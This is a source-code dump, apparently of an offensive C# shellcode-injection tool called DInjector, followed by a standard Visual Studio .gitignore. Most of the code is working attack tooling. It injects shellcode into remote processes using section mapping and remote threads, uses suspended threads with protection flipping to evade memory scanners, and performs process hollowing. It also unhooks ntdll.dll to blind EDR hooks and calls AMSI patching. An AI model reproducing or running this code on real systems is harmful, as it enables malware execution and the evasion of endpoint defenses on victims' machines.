Exception($"(RemoteThreadView) [-] NtOpenProcess: {ntstatus}"); 29 | 30 | if (remoteAm51) 31 | AM51.Patch( 32 | processHandle: rhProcess, 33 | processID: processID, 34 | force: forceAm51); 35 | 36 | #endregion 37 | 38 | #region NtCreateSection (PAGE_EXECUTE_READWRITE) 39 | 40 | // Create RWX memory section for the shellcode 41 | 42 | var hSection = IntPtr.Zero; 43 | var maxSize = (uint)shellcode.Length; 44 | 45 | ntstatus = Syscalls.NtCreateSection( 46 | ref hSection, 47 | DI.Data.Win32.WinNT.ACCESS_MASK.SECTION_MAP_READ | DI.Data.Win32.WinNT.ACCESS_MASK.SECTION_MAP_WRITE | DI.Data.Win32.WinNT.ACCESS_MASK.SECTION_MAP_EXECUTE, 48 | IntPtr.Zero, 49 | ref maxSize, 50 | DI.Data.Win32.WinNT.PAGE_EXECUTE_READWRITE, 51 | DI.Data.Win32.WinNT.SEC_COMMIT, 52 | IntPtr.Zero); 53 | 54 | if (ntstatus == NTSTATUS.Success) 55 | Console.WriteLine("(RemoteThreadView) [+] NtCreateSection, PAGE_EXECUTE_READWRITE"); 56 | else 57 | throw new Exception($"(RemoteThreadView) [-] NtCreateSection, PAGE_EXECUTE_READWRITE: {ntstatus}"); 58 | 59 | #endregion 60 | 61 | #region NtMapViewOfSection (PAGE_READWRITE) 62 | 63 | // Map the view of created section into the LOCAL process's virtual address space (as RW) 64 | 65 | IntPtr lhProcess = IntPtr.Zero; // Process.GetCurrentProcess().Handle 66 | var lbaseAddress = IntPtr.Zero; 67 | ulong sectionOffset = 0; 68 | maxSize = 0; 69 | 70 | ntstatus = Syscalls.NtMapViewOfSection( 71 | hSection, 72 | lhProcess, 73 | ref lbaseAddress, 74 | UIntPtr.Zero, 75 | UIntPtr.Zero, 76 | ref sectionOffset, 77 | ref maxSize, 78 | 2, // InheritDisposition 79 | 0, // AllocationType 80 | DI.Data.Win32.WinNT.PAGE_READWRITE); 81 | 82 | if (ntstatus == NTSTATUS.Success) 83 | Console.WriteLine("(RemoteThreadView) [+] NtMapViewOfSection, PAGE_READWRITE"); 84 | else 85 | throw new Exception($"(RemoteThreadView) [-] NtMapViewOfSection, PAGE_READWRITE: {ntstatus}"); 86 | 87 | #endregion 88 | 89 | #region NtMapViewOfSection (PAGE_EXECUTE_READ) 90 | 91 | // Map the view of (the same) created section into the REMOTE process's virtual address space (as RX) 92 | 93 | var rbaseAddress = IntPtr.Zero; 94 | sectionOffset = 0; 95 | maxSize = 0; 96 | 97 | ntstatus = Syscalls.NtMapViewOfSection( 98 | hSection, 99 | rhProcess, 100 | ref rbaseAddress, 101 | UIntPtr.Zero, 102 | UIntPtr.Zero, 103 | ref sectionOffset, 104 | ref maxSize, 105 | 2, // InheritDisposition 106 | 0, // AllocationType 107 | DI.Data.Win32.WinNT.PAGE_EXECUTE_READ); 108 | 109 | if (ntstatus == NTSTATUS.Success) 110 | Console.WriteLine("(RemoteThreadView) [+] NtMapViewOfSection, PAGE_EXECUTE_READ"); 111 | else 112 | throw new Exception($"(RemoteThreadView) [-] NtMapViewOfSection, PAGE_EXECUTE_READ: {ntstatus}"); 113 | 114 | // Copy the shellcode into the locally mapped view which will be reflected on the remotely mapped view 115 | Marshal.Copy(shellcode, 0, lbaseAddress, shellcode.Length); 116 | 117 | #endregion 118 | 119 | #region RtlCreateUserThread 120 | 121 | // Execute the shellcode in a remote thread 122 | 123 | IntPtr hThread = IntPtr.Zero; 124 | 125 | ntstatus = Win32.RtlCreateUserThread( 126 | rhProcess, 127 | IntPtr.Zero, 128 | false, // CreateSuspended 129 | 0, // StackZeroBits 130 | IntPtr.Zero, 131 | IntPtr.Zero, 132 | rbaseAddress, 133 | IntPtr.Zero, 134 | ref hThread, 135 | IntPtr.Zero); 136 | 137 | if (ntstatus == NTSTATUS.Success) 138 | Console.WriteLine("(RemoteThreadView) [+] RtlCreateUserThread"); 139 | else 140 | throw new Exception($"(RemoteThreadView) [-] RtlCreateUserThread: {ntstatus}"); 141 | 142 | #endregion 143 | 144 | #region NtUnmapViewOfSection 145 | 146 | ntstatus = Syscalls.NtUnmapViewOfSection( 147 | lhProcess, 148 | lbaseAddress); 149 | 150 | if (ntstatus == NTSTATUS.Success) 151 | Console.WriteLine("(RemoteThreadView) [+] NtUnmapViewOfSection"); 152 | else 153 | throw new Exception($"(RemoteThreadView) [-] NtUnmapViewOfSection: {ntstatus}"); 154 | 155 | #endregion 156 | 157 | Syscalls.NtClose(hSection); 158 | Syscalls.NtClose(rhProcess); 159 | } 160 | } 161 | } 162 | -------------------------------------------------------------------------------- /DInjector/Modules/RemoteThreadSuspended.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | using DI = DInvoke; 5 | using static DInvoke.Data.Native; 6 | 7 | namespace DInjector 8 | { 9 | class RemoteThreadSuspended 10 | { 11 | public static void Execute(byte[] shellcode, int processID, int flipSleep, bool remoteAm51, bool forceAm51, bool debug = false) 12 | { 13 | #region NtOpenProcess 14 | 15 | IntPtr hProcess = IntPtr.Zero; 16 | Win32.OBJECT_ATTRIBUTES oa = new Win32.OBJECT_ATTRIBUTES(); 17 | Win32.CLIENT_ID ci = new Win32.CLIENT_ID { UniqueProcess = (IntPtr)processID }; 18 | 19 | var ntstatus = Syscalls.NtOpenProcess( 20 | ref hProcess, 21 | DI.Data.Win32.Kernel32.ProcessAccessFlags.PROCESS_ALL_ACCESS, 22 | ref oa, 23 | ref ci); 24 | 25 | if (ntstatus == NTSTATUS.Success) 26 | Console.WriteLine("(RemoteThreadSuspended) [+] NtOpenProcess"); 27 | else 28 | throw new Exception($"(RemoteThreadSuspended) [-] NtOpenProcess: {ntstatus}"); 29 | 30 | if (remoteAm51) 31 | AM51.Patch( 32 | processHandle: hProcess, 33 | processID: processID, 34 | force: forceAm51); 35 | 36 | #endregion 37 | 38 | #region NtAllocateVirtualMemory (PAGE_READWRITE) 39 | 40 | IntPtr baseAddress = IntPtr.Zero; 41 | IntPtr regionSize = (IntPtr)shellcode.Length; 42 | 43 | ntstatus = Syscalls.NtAllocateVirtualMemory( 44 | hProcess, 45 | ref baseAddress, 46 | IntPtr.Zero, 47 | ref regionSize, 48 | DI.Data.Win32.Kernel32.MEM_COMMIT | DI.Data.Win32.Kernel32.MEM_RESERVE, 49 | DI.Data.Win32.WinNT.PAGE_READWRITE); 50 | 51 | if (ntstatus == NTSTATUS.Success) 52 | Console.WriteLine("(RemoteThreadSuspended) [+] NtAllocateVirtualMemory, PAGE_READWRITE"); 53 | else 54 | throw new Exception($"(RemoteThreadSuspended) [-] NtAllocateVirtualMemory, PAGE_READWRITE: {ntstatus}"); 55 | 56 | #endregion 57 | 58 | #region NtWriteVirtualMemory (shellcode) 59 | 60 | var buffer = Marshal.AllocHGlobal(shellcode.Length); 61 | Marshal.Copy(shellcode, 0, buffer, shellcode.Length); 62 | 63 | uint bytesWritten = 0; 64 | 65 | ntstatus = Syscalls.NtWriteVirtualMemory( 66 | hProcess, 67 | baseAddress, 68 | buffer, 69 | (uint)shellcode.Length, 70 | ref bytesWritten); 71 | 72 | if (ntstatus == NTSTATUS.Success) 73 | Console.WriteLine("(RemoteThreadSuspended) [+] NtWriteVirtualMemory, shellcode"); 74 | else 75 | throw new Exception($"(RemoteThreadSuspended) [-] NtWriteVirtualMemory, shellcode: {ntstatus}"); 76 | 77 | Marshal.FreeHGlobal(buffer); 78 | 79 | #endregion 80 | 81 | #region NtProtectVirtualMemory (PAGE_NOACCESS) 82 | 83 | uint oldProtect = 0; 84 | 85 | ntstatus = Syscalls.NtProtectVirtualMemory( 86 | hProcess, 87 | ref baseAddress, 88 | ref regionSize, 89 | DI.Data.Win32.WinNT.PAGE_NOACCESS, 90 | ref oldProtect); 91 | 92 | if (ntstatus == NTSTATUS.Success) 93 | Console.WriteLine("(RemoteThreadSuspended) [+] NtProtectVirtualMemory, PAGE_NOACCESS"); 94 | else 95 | throw new Exception($"(RemoteThreadSuspended) [-] NtProtectVirtualMemory, PAGE_NOACCESS: {ntstatus}"); 96 | 97 | #endregion 98 | 99 | #region NtCreateThreadEx (CREATE_SUSPENDED) 100 | 101 | IntPtr hThread = IntPtr.Zero; 102 | 103 | ntstatus = Syscalls.NtCreateThreadEx( 104 | ref hThread, 105 | DI.Data.Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED, 106 | IntPtr.Zero, 107 | hProcess, 108 | baseAddress, 109 | IntPtr.Zero, 110 | true, // CREATE_SUSPENDED 111 | 0, 112 | 0, 113 | 0, 114 | IntPtr.Zero); 115 | 116 | if (ntstatus == NTSTATUS.Success) 117 | Console.WriteLine("(RemoteThreadSuspended) [+] NtCreateThreadEx, CREATE_SUSPENDED"); 118 | else 119 | throw new Exception($"(RemoteThreadSuspended) [-] NtCreateThreadEx, CREATE_SUSPENDED: {ntstatus}"); 120 | 121 | #endregion 122 | 123 | #region Thread.Sleep 124 | 125 | Console.WriteLine($"(RemoteThreadSuspended) [=] Sleeping for {flipSleep} ms ..."); 126 | 127 | System.Threading.Thread.Sleep(flipSleep); 128 | 129 | #endregion 130 | 131 | #region NtProtectVirtualMemory (PAGE_EXECUTE_READ) 132 | 133 | oldProtect = 0; 134 | 135 | ntstatus = Syscalls.NtProtectVirtualMemory( 136 | hProcess, 137 | ref baseAddress, 138 | ref regionSize, 139 | DI.Data.Win32.WinNT.PAGE_EXECUTE_READ, 140 | ref oldProtect); 141 | 142 | if (ntstatus == NTSTATUS.Success) 143 | Console.WriteLine("(RemoteThreadSuspended) [+] NtProtectVirtualMemory, PAGE_EXECUTE_READ"); 144 | else 145 | throw new Exception($"(RemoteThreadSuspended) [-] NtProtectVirtualMemory, PAGE_EXECUTE_READ: {ntstatus}"); 146 | 147 | #endregion 148 | 149 | #region NtResumeThread 150 | 151 | uint suspendCount = 0; 152 | 153 | ntstatus = Syscalls.NtResumeThread( 154 | hThread, 155 | ref suspendCount); 156 | 157 | if (ntstatus == NTSTATUS.Success) 158 | Console.WriteLine("(RemoteThreadSuspended) [+] NtResumeThread"); 159 | else 160 | throw new Exception($"(RemoteThreadSuspended) [-] NtResumeThread: {ntstatus}"); 161 | 162 | #endregion 163 | 164 | Syscalls.NtClose(hThread); 165 | Syscalls.NtClose(hProcess); 166 | } 167 | } 168 | } 169 | -------------------------------------------------------------------------------- /DInjector/Utils/Unhooker.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Diagnostics; 3 | using System.Runtime.InteropServices; 4 | 5 | using DI = DInvoke; 6 | 7 | namespace DInjector 8 | { 9 | /// 10 | /// Based on: 11 | /// https://makosecblog.com/malware-dev/dll-unhooking-csharp/ 12 | /// https://github.com/Kara-4search/FullDLLUnhooking_CSharp/blob/main/FullDLLUnhooking/Program.cs 13 | /// 14 | class Unhooker 15 | { 16 | public static void Unhook() 17 | { 18 | try 19 | { 20 | #region Map ntdll.dll into memory 21 | 22 | // https://github.com/TheWover/DInvoke/blob/0530886deebd1a2e5bd8b9eb8e1d8ce87f4ca5e4/DInvoke/DInvoke/DynamicInvoke/Generic.cs#L815-L859 23 | 24 | // Find the path for ntdll by looking at the currently loaded module 25 | string NtdllPath = string.Empty; 26 | var hModule = IntPtr.Zero; 27 | ProcessModuleCollection ProcModules = Process.GetCurrentProcess().Modules; 28 | foreach (ProcessModule Mod in ProcModules) 29 | { 30 | if (Mod.FileName.EndsWith("ntdll.dll", StringComparison.OrdinalIgnoreCase)) 31 | { 32 | NtdllPath = Mod.FileName; 33 | hModule = Mod.BaseAddress; 34 | } 35 | } 36 | 37 | // Alloc module into memory for parsing 38 | IntPtr pModule = DI.ManualMap.Map.AllocateFileToMemory(NtdllPath); 39 | 40 | // Fetch PE meta data 41 | DI.Data.PE.PE_META_DATA PEINFO = DI.DynamicInvoke.Generic.GetPeMetaData(pModule); 42 | 43 | // Alloc PE image memory -> RW 44 | IntPtr BaseAddress = IntPtr.Zero; 45 | IntPtr RegionSize = PEINFO.Is32Bit ? (IntPtr)PEINFO.OptHeader32.SizeOfImage : (IntPtr)PEINFO.OptHeader64.SizeOfImage; 46 | UInt32 SizeOfHeaders = PEINFO.Is32Bit ? PEINFO.OptHeader32.SizeOfHeaders : PEINFO.OptHeader64.SizeOfHeaders; 47 | 48 | IntPtr unhookedLibAddress = DI.DynamicInvoke.Native.NtAllocateVirtualMemory( 49 | (IntPtr)(-1), ref BaseAddress, IntPtr.Zero, ref RegionSize, 50 | DI.Data.Win32.Kernel32.MEM_COMMIT | DI.Data.Win32.Kernel32.MEM_RESERVE, 51 | DI.Data.Win32.WinNT.PAGE_READWRITE 52 | ); 53 | 54 | // Write PE header to memory 55 | UInt32 BytesWritten = DI.DynamicInvoke.Native.NtWriteVirtualMemory((IntPtr)(-1), unhookedLibAddress, pModule, SizeOfHeaders); 56 | 57 | // Write sections to memory 58 | foreach (DI.Data.PE.IMAGE_SECTION_HEADER section in PEINFO.Sections) 59 | { 60 | // Calculate offsets 61 | IntPtr pVirtualSectionBase = (IntPtr)((UInt64)unhookedLibAddress + section.VirtualAddress); 62 | IntPtr pRawSectionBase = (IntPtr)((UInt64)pModule + section.PointerToRawData); 63 | 64 | // Write data 65 | BytesWritten = DI.DynamicInvoke.Native.NtWriteVirtualMemory((IntPtr)(-1), pVirtualSectionBase, pRawSectionBase, section.SizeOfRawData); 66 | if (BytesWritten != section.SizeOfRawData) 67 | throw new InvalidOperationException("Failed to write to memory."); 68 | } 69 | 70 | #endregion 71 | 72 | Win32.MODULEINFO mi = new Win32.MODULEINFO(); 73 | Win32.GetModuleInformation(Process.GetCurrentProcess().Handle, hModule, out mi, (uint)Marshal.SizeOf(mi)); 74 | 75 | IntPtr hookedLibAddress = mi.lpBaseOfDll; 76 | DI.Data.PE.IMAGE_DOS_HEADER idh = (DI.Data.PE.IMAGE_DOS_HEADER)Marshal.PtrToStructure(hookedLibAddress, typeof(DI.Data.PE.IMAGE_DOS_HEADER)); 77 | 78 | IntPtr ih64Address = hookedLibAddress + (int)idh.e_lfanew; 79 | DI.Data.PE.IMAGE_NT_HEADER64 ih64 = (DI.Data.PE.IMAGE_NT_HEADER64)Marshal.PtrToStructure(ih64Address, typeof(DI.Data.PE.IMAGE_NT_HEADER64)); 80 | 81 | IntPtr ifhAddress = (IntPtr)(ih64Address + Marshal.SizeOf(ih64.Signature)); 82 | DI.Data.PE.IMAGE_FILE_HEADER ifh = (DI.Data.PE.IMAGE_FILE_HEADER)Marshal.PtrToStructure(ifhAddress, typeof(DI.Data.PE.IMAGE_FILE_HEADER)); 83 | 84 | IntPtr ishAddress = (hookedLibAddress + (int)idh.e_lfanew + Marshal.SizeOf(typeof(DI.Data.PE.IMAGE_NT_HEADER64))); 85 | DI.Data.PE.IMAGE_SECTION_HEADER ish = new DI.Data.PE.IMAGE_SECTION_HEADER(); 86 | 87 | for (int i = 0; i < ifh.NumberOfSections; i++) 88 | { 89 | ish = (DI.Data.PE.IMAGE_SECTION_HEADER)Marshal.PtrToStructure(ishAddress + i * Marshal.SizeOf(ish), typeof(DI.Data.PE.IMAGE_SECTION_HEADER)); 90 | 91 | if (ish.Section.Contains(".text")) 92 | { 93 | Console.WriteLine($"(Unhooker) [>] Unhooking ntdll.dll!{ish.Section}"); 94 | 95 | IntPtr hookedSectionAddress = IntPtr.Add(hookedLibAddress, (int)ish.VirtualAddress); 96 | IntPtr unhookedSectionAddress = IntPtr.Add(unhookedLibAddress, (int)ish.VirtualAddress); 97 | 98 | uint oldProtect = 0; 99 | _ = Win32.VirtualProtect(hookedSectionAddress, (UIntPtr)ish.VirtualSize, DI.Data.Win32.WinNT.PAGE_EXECUTE_READWRITE, out oldProtect); 100 | 101 | Win32.CopyMemory(hookedSectionAddress, unhookedSectionAddress, ish.VirtualSize); 102 | 103 | _ = Win32.VirtualProtect(hookedSectionAddress, (UIntPtr)ish.VirtualSize, oldProtect, out uint _); 104 | 105 | break; 106 | } 107 | } 108 | 109 | #region Free ntdll.dll mapping allocations 110 | 111 | // https://github.com/TheWover/DInvoke/blob/0530886deebd1a2e5bd8b9eb8e1d8ce87f4ca5e4/DInvoke/DInvoke/DynamicInvoke/Generic.cs#L887-L891 112 | 113 | Marshal.FreeHGlobal(pModule); 114 | RegionSize = PEINFO.Is32Bit ? (IntPtr)PEINFO.OptHeader32.SizeOfImage : (IntPtr)PEINFO.OptHeader64.SizeOfImage; 115 | 116 | DI.DynamicInvoke.Native.NtFreeVirtualMemory((IntPtr)(-1), ref unhookedLibAddress, ref RegionSize, DI.Data.Win32.Kernel32.MEM_RELEASE); 117 | 118 | #endregion 119 | } 120 | catch (Exception e) 121 | { 122 | Console.WriteLine($"(Unhooker) [x] {e.Message}"); 123 | Console.WriteLine($"(Unhooker) [x] {e.InnerException}"); 124 | } 125 | } 126 | } 127 | } 128 | -------------------------------------------------------------------------------- /DInjector/Modules/ProcessHollowing.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | using DI = DInvoke; 5 | using static DInvoke.Data.Native; 6 | 7 | namespace DInjector 8 | { 9 | class ProcessHollowing 10 | { 11 | public static void Execute(byte[] shellcode, string processImage, int ppid = 0, bool blockDlls = false, bool am51 = false, bool debug = false) 12 | { 13 | #region CreateProcessA 14 | 15 | var pi = SpawnProcess.Execute( 16 | processImage, 17 | @"C:\Windows\System32", 18 | suspended: true, 19 | ppid: ppid, 20 | blockDlls: blockDlls, 21 | am51: am51); 22 | 23 | #endregion 24 | 25 | #region NtQueryInformationProcess 26 | 27 | IntPtr hProcess = pi.hProcess; 28 | PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION(); 29 | uint returnLength = 0; 30 | 31 | // Query created process to extract its base address pointer from PEB (Process Environment Block) 32 | var ntstatus = Syscalls.NtQueryInformationProcess( 33 | hProcess, 34 | PROCESSINFOCLASS.ProcessBasicInformation, 35 | ref bi, 36 | (uint)(IntPtr.Size * 6), 37 | ref returnLength); 38 | 39 | if (ntstatus == NTSTATUS.Success) 40 | Console.WriteLine("(ProcessHollowing) [+] NtQueryInformationProcess"); 41 | else 42 | throw new Exception($"(ProcessHollowing) [-] NtQueryInformationProcess: {ntstatus}"); 43 | 44 | #endregion 45 | 46 | #region NtReadVirtualMemory 47 | 48 | // Pointer to the base address of the EXE image: BASE_ADDR_PTR = PEB_ADDR + 0x10 49 | IntPtr ptrImageBaseAddress = (IntPtr)((Int64)bi.PebBaseAddress + 0x10); 50 | IntPtr baseAddress = Marshal.AllocHGlobal(IntPtr.Size); 51 | 52 | uint bytesRead = 0; 53 | 54 | // Read 8 bytes of memory (IntPtr.Size is 8 bytes for x64) pointed by the image base address pointer (ptrImageBaseAddress) in order to get the actual value of the image base address 55 | ntstatus = Syscalls.NtReadVirtualMemory( 56 | hProcess, 57 | ptrImageBaseAddress, 58 | baseAddress, 59 | (uint)IntPtr.Size, 60 | ref bytesRead); 61 | 62 | if (ntstatus == NTSTATUS.Success) 63 | Console.WriteLine("(ProcessHollowing) [+] NtReadVirtualMemory"); 64 | else 65 | throw new Exception($"(ProcessHollowing) [-] NtReadVirtualMemory: {ntstatus}"); 66 | 67 | byte[] baseAddressBytes = new byte[bytesRead]; 68 | Marshal.Copy(baseAddress, baseAddressBytes, 0, (int)bytesRead); 69 | Marshal.FreeHGlobal(baseAddress); 70 | 71 | // We're got bytes as a result of memory read, then converted them to Int64 and casted to IntPtr 72 | IntPtr imageBaseAddress = (IntPtr)(BitConverter.ToInt64(baseAddressBytes, 0)); 73 | IntPtr data = Marshal.AllocHGlobal(0x200); 74 | 75 | bytesRead = 0; 76 | 77 | // Read 0x200 bytes of the loaded EXE image and parse PE structure to get the EntryPoint address 78 | ntstatus = Syscalls.NtReadVirtualMemory( 79 | hProcess, 80 | imageBaseAddress, 81 | data, 82 | 0x200, 83 | ref bytesRead); 84 | 85 | if (ntstatus == NTSTATUS.Success) 86 | Console.WriteLine("(ProcessHollowing) [+] NtReadVirtualMemory"); 87 | else 88 | throw new Exception($"(ProcessHollowing) [-] NtReadVirtualMemory: {ntstatus}"); 89 | 90 | byte[] dataBytes = new byte[bytesRead]; 91 | Marshal.Copy(data, dataBytes, 0, (int)bytesRead); 92 | Marshal.FreeHGlobal(data); 93 | 94 | // "e_lfanew" field (4 bytes, UInt32; contains the offset for the PE header): e_lfanew = BASE_ADDR + 0x3C 95 | uint e_lfanew = BitConverter.ToUInt32(dataBytes, 0x3C); 96 | // EntryPoint RVA (Relative Virtual Address) offset: ENTRYPOINT_RVA_OFFSET = e_lfanew + 0x28 97 | uint entrypointRvaOffset = e_lfanew + 0x28; 98 | // EntryPoint RVA (4 bytes, UInt32; contains the offset for the executable EntryPoint address): ENTRYPOINT_RVA = BASE_ADDR + ENTRYPOINT_RVA_OFFSET 99 | uint entrypointRva = BitConverter.ToUInt32(dataBytes, (int)entrypointRvaOffset); 100 | // Absolute address of the executable EntryPoint: ENTRYPOINT_ADDR = BASE_ADDR + ENTRYPOINT_RVA 101 | IntPtr entrypointAddress = (IntPtr)((UInt64)imageBaseAddress + entrypointRva); 102 | 103 | #endregion 104 | 105 | #region NtProtectVirtualMemory (PAGE_EXECUTE_READWRITE) 106 | 107 | IntPtr protectAddress = entrypointAddress; 108 | IntPtr regionSize = (IntPtr)shellcode.Length; 109 | uint oldProtect = 0; 110 | 111 | ntstatus = Syscalls.NtProtectVirtualMemory( 112 | hProcess, 113 | ref protectAddress, 114 | ref regionSize, 115 | DI.Data.Win32.WinNT.PAGE_EXECUTE_READWRITE, 116 | ref oldProtect); 117 | 118 | if (ntstatus == NTSTATUS.Success) 119 | Console.WriteLine("(ProcessHollowing) [+] NtProtectVirtualMemory, PAGE_EXECUTE_READWRITE"); 120 | else 121 | throw new Exception($"(ProcessHollowing) [-] NtProtectVirtualMemory, PAGE_EXECUTE_READWRITE: {ntstatus}"); 122 | 123 | #endregion 124 | 125 | #region NtWriteVirtualMemory (shellcode) 126 | 127 | var buffer = Marshal.AllocHGlobal(shellcode.Length); 128 | Marshal.Copy(shellcode, 0, buffer, shellcode.Length); 129 | 130 | uint bytesWritten = 0; 131 | 132 | // Write the shellcode to the EntryPoint address 133 | ntstatus = Syscalls.NtWriteVirtualMemory( 134 | hProcess, 135 | entrypointAddress, 136 | buffer, 137 | (uint)shellcode.Length, 138 | ref bytesWritten); 139 | 140 | if (ntstatus == NTSTATUS.Success) 141 | Console.WriteLine("(ProcessHollowing) [+] NtWriteVirtualMemory, shellcode"); 142 | else 143 | throw new Exception($"(ProcessHollowing) [-] NtWriteVirtualMemory, shellcode: {ntstatus}"); 144 | 145 | #endregion 146 | 147 | #region NtProtectVirtualMemory (oldProtect) 148 | 149 | protectAddress = entrypointAddress; 150 | regionSize = (IntPtr)shellcode.Length; 151 | uint tmpProtect = 0; 152 | 153 | ntstatus = Syscalls.NtProtectVirtualMemory( 154 | hProcess, 155 | ref protectAddress, 156 | ref regionSize, 157 | oldProtect, 158 | ref tmpProtect); 159 | 160 | if (ntstatus == NTSTATUS.Success) 161 | Console.WriteLine("(ProcessHollowing) [+] NtProtectVirtualMemory, oldProtect"); 162 | else 163 | throw new Exception($"(ProcessHollowing) [-] NtProtectVirtualMemory, oldProtect: {ntstatus}"); 164 | 165 | #endregion 166 | 167 | #region NtResumeThread 168 | 169 | uint suspendCount = 0; 170 | 171 | ntstatus = Syscalls.NtResumeThread( 172 | pi.hThread, 173 | ref suspendCount); 174 | 175 | if (ntstatus == NTSTATUS.Success) 176 | Console.WriteLine("(ProcessHollowing) [+] NtResumeThread"); 177 | else 178 | throw new Exception($"(ProcessHollowing) [-] NtResumeThread: {ntstatus}"); 179 | 180 | #endregion 181 | 182 | Syscalls.NtClose(pi.hThread); 183 | Syscalls.NtClose(hProcess); 184 | } 185 | } 186 | } 187 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Ww][Ii][Nn]32/ 27 | [Aa][Rr][Mm]/ 28 | [Aa][Rr][Mm]64/ 29 | bld/ 30 | [Bb]in/ 31 | [Oo]bj/ 32 | [Ll]og/ 33 | [Ll]ogs/ 34 | 35 | # Visual Studio 2015/2017 cache/options directory 36 | .vs/ 37 | # Uncomment if you have tasks that create the project's static files in wwwroot 38 | #wwwroot/ 39 | 40 | # Visual Studio 2017 auto generated files 41 | Generated\ Files/ 42 | 43 | # MSTest test Results 44 | [Tt]est[Rr]esult*/ 45 | [Bb]uild[Ll]og.* 46 | 47 | # NUnit 48 | *.VisualState.xml 49 | TestResult.xml 50 | nunit-*.xml 51 | 52 | # Build Results of an ATL Project 53 | [Dd]ebugPS/ 54 | [Rr]eleasePS/ 55 | dlldata.c 56 | 57 | # Benchmark Results 58 | BenchmarkDotNet.Artifacts/ 59 | 60 | # .NET Core 61 | project.lock.json 62 | project.fragment.lock.json 63 | artifacts/ 64 | 65 | # ASP.NET Scaffolding 66 | ScaffoldingReadMe.txt 67 | 68 | # StyleCop 69 | StyleCopReport.xml 70 | 71 | # Files built by Visual Studio 72 | *_i.c 73 | *_p.c 74 | *_h.h 75 | *.ilk 76 | *.meta 77 | *.obj 78 | *.iobj 79 | *.pch 80 | *.pdb 81 | *.ipdb 82 | *.pgc 83 | *.pgd 84 | *.rsp 85 | *.sbr 86 | *.tlb 87 | *.tli 88 | *.tlh 89 | *.tmp 90 | *.tmp_proj 91 | *_wpftmp.csproj 92 | *.log 93 | *.tlog 94 | *.vspscc 95 | *.vssscc 96 | .builds 97 | *.pidb 98 | *.svclog 99 | *.scc 100 | 101 | # Chutzpah Test files 102 | _Chutzpah* 103 | 104 | # Visual C++ cache files 105 | ipch/ 106 | *.aps 107 | *.ncb 108 | *.opendb 109 | *.opensdf 110 | *.sdf 111 | *.cachefile 112 | *.VC.db 113 | *.VC.VC.opendb 114 | 115 | # Visual Studio profiler 116 | *.psess 117 | *.vsp 118 | *.vspx 119 | *.sap 120 | 121 | # Visual Studio Trace Files 122 | *.e2e 123 | 124 | # TFS 2012 Local Workspace 125 | $tf/ 126 | 127 | # Guidance Automation Toolkit 128 | *.gpState 129 | 130 | # ReSharper is a .NET coding add-in 131 | _ReSharper*/ 132 | *.[Rr]e[Ss]harper 133 | *.DotSettings.user 134 | 135 | # TeamCity is a build add-in 136 | _TeamCity* 137 | 138 | # DotCover is a Code Coverage Tool 139 | *.dotCover 140 | 141 | # AxoCover is a Code Coverage Tool 142 | .axoCover/* 143 | !.axoCover/settings.json 144 | 145 | # Coverlet is a free, cross platform Code Coverage Tool 146 | coverage*.json 147 | coverage*.xml 148 | coverage*.info 149 | 150 | # Visual Studio code coverage results 151 | *.coverage 152 | *.coveragexml 153 | 154 | # NCrunch 155 | _NCrunch_* 156 | .*crunch*.local.xml 157 | nCrunchTemp_* 158 | 159 | # MightyMoose 160 | *.mm.* 161 | AutoTest.Net/ 162 | 163 | # Web workbench (sass) 164 | .sass-cache/ 165 | 166 | # Installshield output folder 167 | [Ee]xpress/ 168 | 169 | # DocProject is a documentation generator add-in 170 | DocProject/buildhelp/ 171 | DocProject/Help/*.HxT 172 | DocProject/Help/*.HxC 173 | DocProject/Help/*.hhc 174 | DocProject/Help/*.hhk 175 | DocProject/Help/*.hhp 176 | DocProject/Help/Html2 177 | DocProject/Help/html 178 | 179 | # Click-Once directory 180 | publish/ 181 | 182 | # Publish Web Output 183 | *.[Pp]ublish.xml 184 | *.azurePubxml 185 | # Note: Comment the next line if you want to checkin your web deploy settings, 186 | # but database connection strings (with potential passwords) will be unencrypted 187 | *.pubxml 188 | *.publishproj 189 | 190 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 191 | # checkin your Azure Web App publish settings, but sensitive information contained 192 | # in these scripts will be unencrypted 193 | PublishScripts/ 194 | 195 | # NuGet Packages 196 | *.nupkg 197 | # NuGet Symbol Packages 198 | *.snupkg 199 | # The packages folder can be ignored because of Package Restore 200 | **/[Pp]ackages/* 201 | # except build/, which is used as an MSBuild target. 202 | !**/[Pp]ackages/build/ 203 | # Uncomment if necessary however generally it will be regenerated when needed 204 | #!**/[Pp]ackages/repositories.config 205 | # NuGet v3's project.json files produces more ignorable files 206 | *.nuget.props 207 | *.nuget.targets 208 | 209 | # Nuget personal access tokens and Credentials 210 | nuget.config 211 | 212 | # Microsoft Azure Build Output 213 | csx/ 214 | *.build.csdef 215 | 216 | # Microsoft Azure Emulator 217 | ecf/ 218 | rcf/ 219 | 220 | # Windows Store app package directories and files 221 | AppPackages/ 222 | BundleArtifacts/ 223 | Package.StoreAssociation.xml 224 | _pkginfo.txt 225 | *.appx 226 | *.appxbundle 227 | *.appxupload 228 | 229 | # Visual Studio cache files 230 | # files ending in .cache can be ignored 231 | *.[Cc]ache 232 | # but keep track of directories ending in .cache 233 | !?*.[Cc]ache/ 234 | 235 | # Others 236 | ClientBin/ 237 | ~$* 238 | *~ 239 | *.dbmdl 240 | *.dbproj.schemaview 241 | *.jfm 242 | *.pfx 243 | *.publishsettings 244 | orleans.codegen.cs 245 | 246 | # Including strong name files can present a security risk 247 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 248 | #*.snk 249 | 250 | # Since there are multiple workflows, uncomment next 